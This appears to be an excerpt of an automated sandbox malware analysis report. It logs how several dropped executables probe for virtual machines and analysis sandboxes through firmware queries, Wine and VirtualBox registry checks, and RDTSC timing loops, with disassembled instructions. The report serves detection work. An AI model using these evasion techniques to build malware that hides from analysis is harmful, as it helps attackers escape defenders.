Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB2B8 second address: 6BB2BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB2BC second address: 6BB2D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29D5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB2D5 second address: 6BB2DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BA6F8 second address: 6BA6FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BA6FC second address: 6BA702 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BA8B4 second address: 6BA8BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BA8BA second address: 6BA8D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007F8F08E6834Ch 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BA8D1 second address: 6BA8E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F8F08BF29C6h 0x0000000a jns 00007F8F08BF29C6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDBA3 second address: 6BDBA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDBA8 second address: 6BDBBB instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8F08BF29C8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDBBB second address: 6BDBBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDBBF second address: 6BDBC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDBC5 second address: 6BDBCA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDBCA second address: 6BDBDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDBDD second address: 6BDBE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDBE2 second address: 6BDBF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDBF2 second address: 6BDBF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDBF6 second address: 6BDC0A instructions: 0x00000000 rdtsc 0x00000002 je 00007F8F08BF29C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDC0A second address: 6BDC10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDC10 second address: 6BDC15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDD16 second address: 6BDD4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8F08E6834Ch 0x00000008 jc 00007F8F08E68346h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F8F08E68359h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDD4D second address: 6BDD57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F8F08BF29C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDD57 second address: 6BDD97 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8F08E68346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d cld 0x0000000e push 00000003h 0x00000010 mov edx, dword ptr [ebp+122D2BD0h] 0x00000016 push 00000000h 0x00000018 mov si, di 0x0000001b push 00000003h 0x0000001d mov di, ax 0x00000020 push 5CEBA0E0h 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F8F08E68358h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDD97 second address: 6BDE15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F8F08BF29D2h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 popad 0x00000013 add dword ptr [esp], 63145F20h 0x0000001a lea ebx, dword ptr [ebp+12452AE5h] 0x00000020 push 00000000h 0x00000022 push ebx 0x00000023 call 00007F8F08BF29C8h 0x00000028 pop ebx 0x00000029 mov dword ptr [esp+04h], ebx 0x0000002d add dword ptr [esp+04h], 00000018h 0x00000035 inc ebx 0x00000036 push ebx 0x00000037 ret 0x00000038 pop ebx 0x00000039 ret 0x0000003a jmp 00007F8F08BF29CEh 0x0000003f mov edx, 451F58F1h 0x00000044 xchg eax, ebx 0x00000045 pushad 0x00000046 je 00007F8F08BF29CCh 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDE5B second address: 6BDE61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDE61 second address: 6BDE65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDE65 second address: 6BDE8D instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8F08E68346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f movsx esi, dx 0x00000012 push 00000000h 0x00000014 mov dword ptr [ebp+122D38D1h], ebx 0x0000001a call 00007F8F08E68349h 0x0000001f push esi 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 pop eax 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDE8D second address: 6BDEB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F8F08BF29C6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDEB4 second address: 6BDEB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDEB8 second address: 6BDED9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8F08BF29D1h 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDED9 second address: 6BDEDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDEDD second address: 6BDEE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDEE1 second address: 6BDEF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a je 00007F8F08E6834Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BE095 second address: 6BE132 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jl 00007F8F08BF29CEh 0x00000013 pop eax 0x00000014 sbb edx, 2D806520h 0x0000001a push 00000003h 0x0000001c mov edx, ebx 0x0000001e push 00000000h 0x00000020 mov dword ptr [ebp+122D3919h], esi 0x00000026 push 00000003h 0x00000028 mov di, 7ED3h 0x0000002c call 00007F8F08BF29C9h 0x00000031 push ebx 0x00000032 jne 00007F8F08BF29C8h 0x00000038 pop ebx 0x00000039 push eax 0x0000003a pushad 0x0000003b jmp 00007F8F08BF29D0h 0x00000040 push esi 0x00000041 pushad 0x00000042 popad 0x00000043 pop esi 0x00000044 popad 0x00000045 mov eax, dword ptr [esp+04h] 0x00000049 jmp 00007F8F08BF29CDh 0x0000004e mov eax, dword ptr [eax] 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 push ebx 0x00000054 pop ebx 0x00000055 jmp 00007F8F08BF29D8h 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BE132 second address: 6BE168 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8F08E6834Ch 0x00000008 jl 00007F8F08E68346h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 pushad 0x00000015 pushad 0x00000016 jmp 00007F8F08E68356h 0x0000001b jnc 00007F8F08E68346h 0x00000021 popad 0x00000022 push ecx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BE168 second address: 6BE198 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 pop eax 0x00000007 jmp 00007F8F08BF29D6h 0x0000000c lea ebx, dword ptr [ebp+12452AF9h] 0x00000012 pushad 0x00000013 mov cl, CDh 0x00000015 mov bx, cx 0x00000018 popad 0x00000019 xchg eax, ebx 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e pop eax 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BE198 second address: 6BE1CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8F08E6834Fh 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F8F08E68359h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BE1CC second address: 6BE1D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BE1D0 second address: 6BE1D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CE903 second address: 6CE908 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CE908 second address: 6CE923 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F08E68357h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CE923 second address: 6CE931 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CE931 second address: 6CE935 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A0FDF second address: 6A0FFB instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8F08BF29C6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f pushad 0x00000010 popad 0x00000011 ja 00007F8F08BF29C6h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A0FFB second address: 6A1001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A1001 second address: 6A1007 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A1007 second address: 6A1019 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A1019 second address: 6A101D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DB719 second address: 6DB744 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F8F08E68351h 0x0000000d jo 00007F8F08E68348h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 je 00007F8F08E68346h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBB6B second address: 6DBB71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBB71 second address: 6DBB7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F8F08E68346h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBB7B second address: 6DBBA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F08BF29CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F8F08BF29CEh 0x0000000f pushad 0x00000010 popad 0x00000011 jbe 00007F8F08BF29C6h 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pushad 0x0000001a pushad 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DC2C1 second address: 6DC2D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F08E68350h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DC722 second address: 6DC72C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F8F08BF29C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DCFD8 second address: 6DD003 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jne 00007F8F08E6834Eh 0x0000000b pushad 0x0000000c jmp 00007F8F08E68355h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DD003 second address: 6DD016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F8F08BF29C6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F8F08BF29C6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DD016 second address: 6DD01A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DD179 second address: 6DD18D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F8F08BF29CDh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E06DE second address: 6E06E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E06E4 second address: 6E06F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jng 00007F8F08BF29C6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF3C4 second address: 6DF3CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B5071 second address: 6B5077 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E98CF second address: 6E98D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E98D3 second address: 6E98D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9A13 second address: 6E9A34 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8F08E68346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b jne 00007F8F08E68360h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F8F08E6834Eh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9A34 second address: 6E9A38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
